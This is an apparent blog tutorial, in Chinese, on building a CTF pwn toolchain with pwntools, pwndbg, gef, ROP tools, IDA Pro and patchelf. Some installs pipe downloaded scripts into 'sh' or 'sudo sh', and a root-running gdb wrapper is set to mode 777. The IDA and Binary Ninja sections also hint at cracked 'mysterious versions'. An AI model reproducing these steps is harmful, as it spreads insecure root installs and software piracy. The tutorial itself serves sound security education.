</content:encoded></item><item><title>Kali-Linux Pwn 环境配置 - 工具安装</title><link>https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_tools/</link><guid isPermaLink="true">https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_tools/</guid><description>使用最新最热，效率最高的 Linux 子系统，来配置年轻人的第二台虚拟机，开启自己的入门 Pwn 旅途，该部分主要讲解基础 Pwn 环境安装</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note
&lt;strong&gt;Tips：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;本教程于 2026.1 更新&lt;/strong&gt;
由于教程是在 WSL 子系统教程之后编写的，&lt;strong&gt;只作为针对新手的补充&lt;/strong&gt;，后续可以参照子系统的教程，相对来说没有子系统的教程细致，但是更适合新手
&lt;ul&gt;
&lt;li&gt;使用 VMWare：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-vmware/&quot;&gt;VMWare Linux 基础配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;使用 WSL：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/&quot;&gt;WSL Linux 基础配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;工具安装：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_tools/&quot;&gt;基础 Pwn 环境安装&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;本教程默认你有了&lt;strong&gt;基本的计算机操作水平&lt;/strong&gt;并且&lt;strong&gt;已经解决了任何网络问题&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;由于网页和图床代理到 Cloudflare，如果你浏览有些卡顿甚至加载失败，请自行加速并刷新
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;1. Linux 下 Pwn 基础环境安装&lt;/h1&gt;
&lt;p&gt;:::important
确保你使用了 &lt;code&gt;pyenv&lt;/code&gt;，&lt;code&gt;conda&lt;/code&gt;，&lt;code&gt;uv&lt;/code&gt;，原始的 &lt;code&gt;venv&lt;/code&gt; 等虚拟环境，或确保你可以使用 &lt;code&gt;pipx&lt;/code&gt; 进行包管理，如果你没有准备环境，过度的话也可使用 &lt;code&gt;apt&lt;/code&gt; 安装
:::&lt;/p&gt;
&lt;h2&gt;1-1 安装 Pwntools&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Pwntools&lt;/strong&gt; 是一个 Python 库，专门用于写利用脚本，核心功能包括构造 payload，自动处理网络连接，解析 ELF 文件，处理 ROP，远程交互，生成 ShellCode 等
那你要问我，&lt;strong&gt;为什么不手动呢&lt;/strong&gt;？手动 nc 只能做一次性试验，而真实利用往往涉及地址泄露、偏移计算、分阶段 payload、反复重连和自动化判断，人工既低效又容易出错，Pwntools 把整个攻击流程写成脚本，让打包、解析、计算和交互全部自动完成，从而实现可复现、可调试、可批量运行的 exploit，这在复杂场景下几乎是必需品
我们会向 Python 环境中安装这个包，如果不用 &lt;code&gt;apt&lt;/code&gt; 安装&lt;strong&gt;请务必激活当前的 Python 环境&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;br&amp;gt;
pip install pwntools 


pipx install pwntools


sudo apt update
sudo apt install python3-pwntools


uv pip install pwntools 


python
from pwn import *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-AF6CD915-ECCF-4A14-A2B2-CE848B051DCE.webp&quot; alt=&quot;pwn_environment_tools-AF6CD915-ECCF-4A14-A2B2-CE848B051DCE&quot; /&gt;倘若没有什么报错，说明你的导入非常成功，只不过要注意，如果你是安装到了一个虚拟环境中，&lt;strong&gt;记得要先激活环境才能使用&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1-2 安装 GDB 以及 Pwndbg / gef&lt;/h2&gt;
&lt;p&gt;:::tip
对于写文章的时候来说，由于常用的 GDB 插件 Pwndbg 最新的安装方式已经不是&lt;strong&gt;网络上存在的克隆仓库并执行 &lt;code&gt;setup.sh&lt;/code&gt;&lt;/strong&gt; 了，参考下文的一键安装，会自带 GDB 和 Pwndbg，可以考虑跳过下面
:::
首先需要安装 &lt;strong&gt;GDB&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install gdb gdbserver gdb-multiarch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在此基础上我们会安装 &lt;code&gt;Pwndbg&lt;/code&gt; / &lt;code&gt;Pwngdb&lt;/code&gt; /&lt;code&gt;peda&lt;/code&gt; / &lt;code&gt;gef&lt;/code&gt; ，&lt;strong&gt;事实上 &lt;code&gt;Pwndbg&lt;/code&gt; 是目前最常用的，&lt;code&gt;gef&lt;/code&gt; 的非官方一个版本也很厉害&lt;/strong&gt;，他们可以满足大部分需求&lt;/p&gt;
&lt;h3&gt;1-2-1 安装 Pwndbg&lt;/h3&gt;
&lt;p&gt;:::tip
通过一键安装的 Pwndbg 和 GDB 默认支持异架构，无需使用 multiarch 版本||，如果不支持，那你没办法||
:::
项目链接：&lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot;&gt;pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB &amp;amp; LLDB Made Easy&lt;/a&gt;
参考上面的链接，新版简化了安装流程，无需从源码安装，我们直接可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install xz-utils
curl -qsL &apos;https://install.pwndbg.re&apos; | sh -s -- -t pwndbg-gdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就安装好了，输入 &lt;code&gt;pwndbg&lt;/code&gt; 即可使用
如果你想自定义安装位，你可以前往 Releases 下载压缩包解压到合适的位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install xz-utils
chmod 777 pwndbg_2025.05.30_x86_64-portable.tar.xz
tar -xvf pwndbg_2025.05.30_x86_64-portable.tar.xz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解压之后会有四个文件夹出现，我们可以将当前文件夹的 &lt;code&gt;bin&lt;/code&gt; 目录添加到环境变量，也可以将文件夹下的 &lt;code&gt;bin&lt;/code&gt; 里的可执行文件链接到系统的任意环境变量目录下，这里采用了后者&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ln -s /path/to/pwndbg/bin/pwndbg /usr/bin/pwndbg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-1BA25DB1-62EA-495D-A2FB-072AA4906F78.webp&quot; alt=&quot;pwn_environment_tools-1BA25DB1-62EA-495D-A2FB-072AA4906F78&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1-2-2 集成 Pwngdb 与去重&lt;/h3&gt;
&lt;p&gt;项目地址：&lt;a href=&quot;https://github.com/scwuaptx/Pwngdb&quot;&gt;scwuaptx/Pwngdb: gdb for pwn&lt;/a&gt;
在任意目录下克隆库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/scwuaptx/Pwngdb.git 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;克隆之后你可以看到 &lt;code&gt;angelheap&lt;/code&gt;  和 &lt;code&gt;pwngdb.py&lt;/code&gt;&lt;br /&gt;
修改 Pwndbg 启动脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /path/to/pwndbg/bin/pwndbg
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
dir=&quot;$(cd -- &quot;$(dirname &quot;$(dirname &quot;$(realpath &quot;$0&quot;)&quot;)&quot;)&quot; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 ; pwd -P)&quot;
export TERMINFO_DIRS=/etc/terminfo:/lib/terminfo:/usr/share/terminfo:/run/current-system/sw/share/terminfo:$dir/share/terminfo
export PYTHONNOUSERSITE=1
export PYTHONHOME=&quot;$dir&quot;
export PYTHONPATH=&quot;&quot;
export PATH=&quot;$dir/bin/:$PATH&quot;


exec &quot;$dir/lib/ld-linux-x86-64.so.2&quot; &quot;$dir/exe/gdb&quot; --quiet --early-init-eval-command=&quot;set auto-load safe-path /&quot; --command=$dir/exe/gdbinit.py &quot;$@&quot;


exec &quot;$dir/lib/ld-linux-x86-64.so.2&quot; &quot;$dir/exe/gdb&quot; --quiet --early-init-eval-command=&quot;set auto-load safe-path /&quot; --command=$dir/exe/gdbinit.py --command=/path/to/pwngdb.py --command=/path/to/angelheap/gdbinit.py &quot;$@&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以使用一些特殊的命令验证是否安装成功
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-C2C4E772-256B-499A-AF47-2D2EC1C63A1E.webp&quot; alt=&quot;pwn_environment_tools-C2C4E772-256B-499A-AF47-2D2EC1C63A1E&quot; /&gt;安装此插件会&lt;strong&gt;导致 Pwndbg 的 &lt;code&gt;canary&lt;/code&gt; 以及 &lt;code&gt;got&lt;/code&gt; 命令被替换&lt;/strong&gt;，对于喜欢 pwndbg 的命令（或者是因为颜色）的人来说，你可以去搞一下这个
其实作者留下了一个兼容的脚本，就在 &lt;code&gt;Pwngdb/pwndbg&lt;/code&gt; 中，不过由于更新问题兼容较为麻烦，这里我们有一种简单粗暴的方法，修改 &lt;code&gt;Pwngdb/pwngdb.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /path/to/Pwngdb/pwngdb.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;	... other ...

	def tls(self):
        &quot;&quot;&quot; Get tls base &quot;&quot;&quot;
        print(&quot;\033[34m&quot; + &quot;tls : &quot; + &quot;\033[37m&quot; + hex(gettls()))

        
    # def canary(self):
    #    &quot;&quot;&quot; Get canary value &quot;&quot;&quot;
    #    print(&quot;\033[34m&quot; + &quot;canary : &quot; + &quot;\033[37m&quot; + hex(getcanary()))

    def fmtarg(self,*arg):
        (addr,) = normalize_argv(arg,1)
        getfmtarg(addr)
        
   ... other ...
    
     def findsyscall(self):
        &quot;&quot;&quot; find the syscall gadget&quot;&quot;&quot;
        arch = getarch()
        start,end = codeaddr()
        if arch == &quot;x86-64&quot; :
            gdb.execute(&quot;find 0x050f &quot; + hex(start) + &quot; &quot; + hex(end) )
        elif arch == &quot;i386&quot;:
            gdb.execute(&quot;find 0x80cd &quot; + hex(start) + &quot; &quot; + hex(end) )
        elif arch == &quot;arm&quot;:
            gdb.execute(&quot;find 0xbc80df00 &quot; + hex(start) + &quot; &quot; + hex(end) )
        elif arch == &quot;aarch64&quot;:
            gdb.execute(&quot;find 0xd4000001 &quot; + hex(start) + &quot; &quot; + hex(end) )
        else :
            print(&quot;error&quot;)

            
    #  def got(self):
    #    &quot;&quot;&quot; Print the got table &quot;&quot;&quot;
    #    processname = getprocname()
    #   if processname :
    #        cmd = &quot;objdump -R &quot;
    #        if iscplus :
    #            cmd += &quot;--demangle &quot;
    #        cmd += &quot;\&quot;&quot; + processname + &quot;\&quot;&quot;
    #        got = subprocess.check_output(cmd,shell=True)[:-2].decode(&apos;utf8&apos;)
    #       print(got)
    #    else :
    #        print(&quot;No current process or executable file specified.&quot; )

    def dyn(self):
        &quot;&quot;&quot; Print dynamic section &quot;&quot;&quot;
        processname = getprocname()
        if processname :
            dyn = subprocess.check_output(&quot;readelf -d \&quot;&quot; + processname + &quot;\&quot;&quot;,shell=True).decode(&apos;utf8&apos;)
            print(dyn)
        else :
            print(&quot;No current process or executable file specified.&quot; )
   
   ... other ...

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们直接找到 &lt;code&gt;/path/to/Pwngdb/pwngdb.py&lt;/code&gt; 使用直接注释法，把上图两个位置的函数注释掉就行,效果对比，注释之后是
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-2F23ACD4-9B8F-4891-A435-FAE596EBA12F.webp&quot; alt=&quot;pwn_environment_tools-2F23ACD4-9B8F-4891-A435-FAE596EBA12F&quot; /&gt;和注释之前
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-A8242E22-38FC-49D1-B52D-C9BF9FA224B7.webp&quot; alt=&quot;pwn_environment_tools-A8242E22-38FC-49D1-B52D-C9BF9FA224B7&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1-2-3 如何为依赖 Python 环境安装包&lt;/h3&gt;
&lt;p&gt;在以前的教程中是创建一个虚拟环境来安装 Pwndbg 的依赖，而官网最新的环境则是开箱即用的，无法通过正常途径为 Python 安装第三方的包，这里主要说明&lt;strong&gt;如何借一个 pip&lt;/strong&gt; 来达成目的
我们首先需要确定 Pwndbg 的 &lt;code&gt;site-packages&lt;/code&gt; 文件夹在哪里，&lt;strong&gt;你应该找到你的安装目录，然后找到下面的目录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /path/to/Pwndbg/lib/python3.12/site-packages/ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确定了路径之后，我们随便借一个 pip，这里使用了 uv 的 pip 安装一个包，使用 &lt;code&gt;--target&lt;/code&gt; 参数指定目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install --target=/path/to/Pwndbg/lib/python3.12/site-packages decomp2dbg
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1-2-4 gef 安装（可以用于内核 / 异架构）&lt;/h3&gt;
&lt;p&gt;仓库链接：&lt;a href=&quot;https://github.com/bata24/gef&quot;&gt;bata24/gef: GEF - GDB Enhanced Features - bata24&apos;s fork&lt;/a&gt;
一键安装，但是安装到了&lt;strong&gt;并且只推荐&lt;/strong&gt;以 root 身份安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget -q https://raw.githubusercontent.com/bata24/gef/dev/install-uv.sh -O- | sudo sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于作者亲自说明是在 root 环境下测试，所以这里保持原位置，为了方便使用，可以：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /usr/bin/gef
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
sudo /usr/bin/gdb &quot;$@&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后赋予可执行权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo chmod 777 /usr/bin/gef
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;效果图
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-39259ACA-A9E8-442F-A039-755077471918.webp&quot; alt=&quot;pwn_environment_tools-39259ACA-A9E8-442F-A039-755077471918&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1-2-5 设置默认 GDB（可选）&lt;/h3&gt;
&lt;p&gt;这个基于个人习惯，如果习惯默认使用 Pwndbg 而只想输入 的话可以改一下名字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mv /usr/bin/gdb /usr/bin/gdb-ori
sudo mv /usr/bin/pwndbg /usr/bin/gdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果更改的话记得上面的 gef 脚本要更改对应 GDB 二进制文件为对应名称，因为上文提到的 &lt;code&gt;gef&lt;/code&gt; 插件是使用系统的 GDB 加载脚本运行的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /usr/bin/gef
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
sudo /usr/bin/gdb-ori &quot;$@&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果是脚本里用可以指定&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;context.gdb_binary = &apos;/path/to/gdb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1-3 安装其他小部件&lt;/h2&gt;
&lt;p&gt;记得一定要激活环境，&lt;strong&gt;请根据当前的环境管理方式自行决定工具的安装方式&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda activate &amp;lt;name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1-3-1 ROPgadget 与 ropper&lt;/h3&gt;
&lt;p&gt;用于搜寻在 ROP 攻击时使用的 gadget&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a
pip install ROPgadget

sudo apt install ropper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-35FD84E0-0491-4942-B895-1D0C64AE3C35.webp&quot; alt=&quot;pwn_environment_tools-35FD84E0-0491-4942-B895-1D0C64AE3C35&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-C5C73197-5783-4913-AB49-CB22EED025B3.webp&quot; alt=&quot;pwn_environment_tools-C5C73197-5783-4913-AB49-CB22EED025B3&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1-3-2 one_gadget&lt;/h3&gt;
&lt;p&gt;用于在 libc 库中找到一个直接执行可以 getshell 的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install ruby ruby-dev gcc make
sudo gem install one_gadget
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1-3-3 seccomp-tools&lt;/h3&gt;
&lt;p&gt;用于检测程序启用的沙箱保护&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo gem install seccomp-tools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-B645A73D-D940-46E3-908A-BDCB0B808D87.webp&quot; alt=&quot;pwn_environment_tools-B645A73D-D940-46E3-908A-BDCB0B808D87&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1-3-4 patchelf 与 glibc-all-in-one&lt;/h3&gt;
&lt;p&gt;由于&lt;strong&gt;题目在远程部署的环境和本地一定不相同&lt;/strong&gt;，在某些对 libc 版本要求高的题目中需要更换指定的 libc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install patchelf
git clone https://github.com/matrix1001/glibc-all-in-one.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;glibc-all-in-one 官方页面在：
&lt;a href=&quot;https://github.com/matrix1001/glibc-all-in-one&quot;&gt;matrix1001/glibc-all-in-one: 🎁A convenient glibc binary and debug file downloader and source code auto builder&lt;/a&gt;
可以参考进行进一步下载不同版本 libc 的方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd ./glibc-all-in-one 

./update_list # 更新列表
cat list # 查看列表

./download &amp;lt;name&amp;gt; # 开始下载
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在之后使用 &lt;code&gt;patchelf&lt;/code&gt; 即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;patchelf --set-interpreter &amp;lt;ld 位置&amp;gt; &amp;lt;文件位置&amp;gt;
patchelf --replace-needed &amp;lt;需替换的 libc 类型，例如 &quot;libc.so.6&quot;&amp;gt; &amp;lt;libc 位置&amp;gt; &amp;lt;文件位置&amp;gt;
或者
patchelf --set-rpath &amp;lt;&apos;动态库文件夹位置1(必选):动态库文件夹位置1(可选):......&apos;&amp;gt; &amp;lt;文件位置&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;2. Pwn 基础工具&lt;/h1&gt;
&lt;h2&gt;2-1 IDA Pro&lt;/h2&gt;
&lt;h3&gt;2-1-1 基础安装&lt;/h3&gt;
&lt;p&gt;:::warning
这是一个商业软件，原则上你需要付费购买正版使用
:::
运行安装程序即可，可以设置安装路径
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-0B7C1C8F-1A62-4821-B7C9-43D41DC1333A.webp&quot; alt=&quot;pwn_environment_tools-0B7C1C8F-1A62-4821-B7C9-43D41DC1333A&quot; /&gt;IDA 集成了 Python 环境，不仅可以直接执行 Python 命令，&lt;strong&gt;也可以为各种插件提供支持&lt;/strong&gt;，没有疑惑的话直接勾选安装吧，如果&lt;strong&gt;你有自己的环境的话&lt;/strong&gt;可以参考下面的自定义教程
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-76C54AF7-26D6-4889-B71B-35DA8EF3KJHG.webp&quot; alt=&quot;pwn_environment_tools-76C54AF7-26D6-4889-B71B-35DA8EF3KJHG&quot; /&gt;第一次运行的时候会要求选择许可证，选择你拥有的对应的 &lt;code&gt;idapro.hexlic&lt;/code&gt; 文件就可以了
:::note
如果你使用的是&lt;strong&gt;某些神秘版本&lt;/strong&gt;，你可能会找到一些神秘的 &lt;code&gt;*.dll&lt;/code&gt; 文件，你需要做的就是替换到安装目录的 &lt;code&gt;ida32.dll&lt;/code&gt; 和 &lt;code&gt;ida,dll&lt;/code&gt; 然后激活神秘的许可证文件，&lt;strong&gt;或者是某些神秘 &lt;code&gt;*.py&lt;/code&gt; 脚本&lt;/strong&gt;，在安装目录下执行脚本就可以了
:::
效果如下图&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-AE6B0F60-7D61-43E0-A8AA-3DF09BE27C89.webp&quot; alt=&quot;pwn_environment_tools-AE6B0F60-7D61-43E0-A8AA-3DF09BE27C89&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2-1-2 自定义 IDAPython 环境&lt;/h3&gt;
&lt;p&gt;在安装目录找到 &lt;code&gt;idapyswitch.exe&lt;/code&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-58CA6358-EF49-483F-B597-0FAD24B588FA.webp&quot; alt=&quot;pwn_environment_tools-58CA6358-EF49-483F-B597-0FAD24B588FA&quot; /&gt;如果双击可以打开，那你可以通过数字选择你想使用的环境（最好是独立的环境）
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-9304A2DB-8ECC-41A0-A42F-A1A3C25548D0.webp&quot; alt=&quot;pwn_environment_tools-9304A2DB-8ECC-41A0-A42F-A1A3C25548D0&quot; /&gt;如果没有想用的环境或者是根本是一闪而过的窗口的话，&lt;strong&gt;我们可以在当前目录起一个命令窗口执行这个程序&lt;/strong&gt;，并使用 &lt;code&gt;--force-path&lt;/code&gt; 参数来指定 Python 的地址，一般选择 &lt;code&gt;python3.dll&lt;/code&gt; ，&lt;strong&gt;来源最好是官方安装包，版本推荐 3.11&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\idapyswitch.exe --force-path &quot;F:\Tools\Disassembler\IDA Python\python3.dll&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-56F25F46-3F32-42CA-9E91-8EBF7FC54135.webp&quot; alt=&quot;pwn_environment_tools-56F25F46-3F32-42CA-9E91-8EBF7FC54135&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2-1-3 安装插件&lt;/h3&gt;
&lt;p&gt;安装插件的方法各异，需要针对不同插件，这里就不赘述了，总体来说分为三种&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;扔到安装目录的 &lt;code&gt;plugins&lt;/code&gt; 文件夹&lt;/li&gt;
&lt;li&gt;在 IDAPython 中安装必要的包和依赖&lt;/li&gt;
&lt;li&gt;在其他环境中安装必要的包和依赖
怎么证明安装成功了呢，可以看下面的 Output 有没有报错，看看能不能使用插件功能
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-A76E6492-60E8-4624-AA00-6420B205D735.webp&quot; alt=&quot;pwn_environment_tools-A76E6492-60E8-4624-AA00-6420B205D735&quot; /&gt;我用的有下面的一些，感觉足够日常使用了，这里就不贴链接了&lt;/li&gt;
&lt;li&gt;finger_plugin&lt;/li&gt;
&lt;li&gt;keypatch&lt;/li&gt;
&lt;li&gt;LazyIDA&lt;/li&gt;
&lt;li&gt;ida-pro-mcp&lt;/li&gt;
&lt;li&gt;patching&lt;/li&gt;
&lt;li&gt;decomp2dbg&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2-2 Ghidra&lt;/h2&gt;
&lt;p&gt;仅作介绍：这是一款由美国国家安全局开源的反编译工具，&lt;strong&gt;你可以前往 Github 下载，可以安装很多的插件，但是效果不如 IDA&lt;/strong&gt;，对于&lt;strong&gt;某些冷门的架构而你没有购买 IDA 的高级商业版本&lt;/strong&gt;的情况下可能有奇效||，毕竟其他的软件都用不了||&lt;/p&gt;
&lt;h2&gt;2-3 Binary Ninja&lt;/h2&gt;
&lt;p&gt;:::warning
和 IDA Pro 一样，这是一个商业软件，原则上你需要付费购买正版使用
:::
仅作介绍：和 IDA 差不多，也是一个商业软件，使用起来也不错，&lt;strong&gt;据说有官方带头的插件和 MCP 生态，周围有氪金使用的用起来很爽&lt;/strong&gt;，不过入门的话其实也差不多，本人用的也不是很多，可以考虑备一个||，感觉购买有点亏的话可以寻找神秘版本||&lt;/p&gt;
&lt;h1&gt;3. Pwn 特殊环境 - C++&lt;/h1&gt;
&lt;p&gt;:::warning
并非完全体，还在更新
:::
当我们目光看向一道 C++ 的题目，&lt;strong&gt;正常的 C++ 题目都会提供下面这几样库文件&lt;/strong&gt;，使用 patchelf 更改就行
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-2B6226E7-983B-48DC-B8B9-1E24164AF4DF.webp&quot; alt=&quot;pwn_environment_tools-2B6226E7-983B-48DC-B8B9-1E24164AF4DF&quot; /&gt;如果有些只给出了 libc.so.6 的话，你就需要手动下载其他的文件&lt;/p&gt;
&lt;h2&gt;3-1 下载对应发行版本的 libstdc++.so.6&lt;/h2&gt;
&lt;h3&gt;3-1-1 从 Docker / 对应 Linux 里扒&lt;/h3&gt;
&lt;p&gt;很简单，如果题目给 Dockerfile 了，&lt;strong&gt;可以尝试部署题目的 Docker 环境&lt;/strong&gt;，把用的库拷贝出来，使用 patchelf 或其他方式更改，如果没有就找 libc 或者是程序字符串寻找版本特征并从对应 Docker 或者 Linux 系统把缺的库扒出来&lt;/p&gt;
&lt;h3&gt;3-1-2 手动下载&lt;/h3&gt;
&lt;p&gt;如果你发现 patch 完之后会说你的 libstdc++.so.6 需要更高版本，那么你可能需要更换一下这个库，&lt;strong&gt;一般来说这个东西不吃小版本&lt;/strong&gt;，也没必要对应 Ubuntu 的版本下载了，直接前往 Debian 官网下载对应版就行
访问官网：&lt;a href=&quot;https://www.debian.org/distrib/packages&quot;&gt;Debian -- 软件包&lt;/a&gt;
点击下面有搜索，直接搜索
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-694EAB39-8BCE-4F9D-8544-2EC04CCCD7D7.webp&quot; alt=&quot;pwn_environment_tools-694EAB39-8BCE-4F9D-8544-2EC04CCCD7D7&quot; /&gt;你要找的就是下面这样的，叫做 &lt;strong&gt;libstdc++6-xx-dbg&lt;/strong&gt; 的包
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-3ABEF675-34E0-4DA1-A277-530C29AD604D.webp&quot; alt=&quot;pwn_environment_tools-3ABEF675-34E0-4DA1-A277-530C29AD604D&quot; /&gt;如何确定你需要哪个？点进去看一眼版本
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-EF52C88E-CAA2-4103-B164-316F242E7B53.webp&quot; alt=&quot;pwn_environment_tools-EF52C88E-CAA2-4103-B164-316F242E7B53&quot; /&gt;确认版本后就可以下载，如果程序需要的话，你可能还需要下载一个 &lt;strong&gt;libgcc_s.so.1&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-85B9302E-83FC-450F-8B68-82EFBB99D981.webp&quot; alt=&quot;pwn_environment_tools-85B9302E-83FC-450F-8B68-82EFBB99D981&quot; /&gt;同时下面还有 dev 包供你选择，内含源码（可选，一般用不到）
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_tools/pwn_environment_tools-76C54AF7-26D6-4889-B71B-35DA8EF3AFCD.webp&quot; alt=&quot;pwn_environment_tools-76C54AF7-26D6-4889-B71B-35DA8EF3AFCD&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3-2 替换程序使用的库&lt;/h2&gt;
&lt;p&gt;经测试，&lt;strong&gt;libm.so.6&lt;/strong&gt; 有一定概率无法使用 patchelf 的 &lt;code&gt;--set-interpreter&lt;/code&gt; 进行修改，我们可以通过指定环境变量 &lt;strong&gt;LD_PRELOAD&lt;/strong&gt; 来强制替换该库，&lt;strong&gt;它的位置和 &lt;code&gt;libc&lt;/code&gt; 与 &lt;code&gt;ld&lt;/code&gt; 坐一桌&lt;/strong&gt;，正常运行只需要&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LD_PRELOAD=/path/to/target.so ./pwn
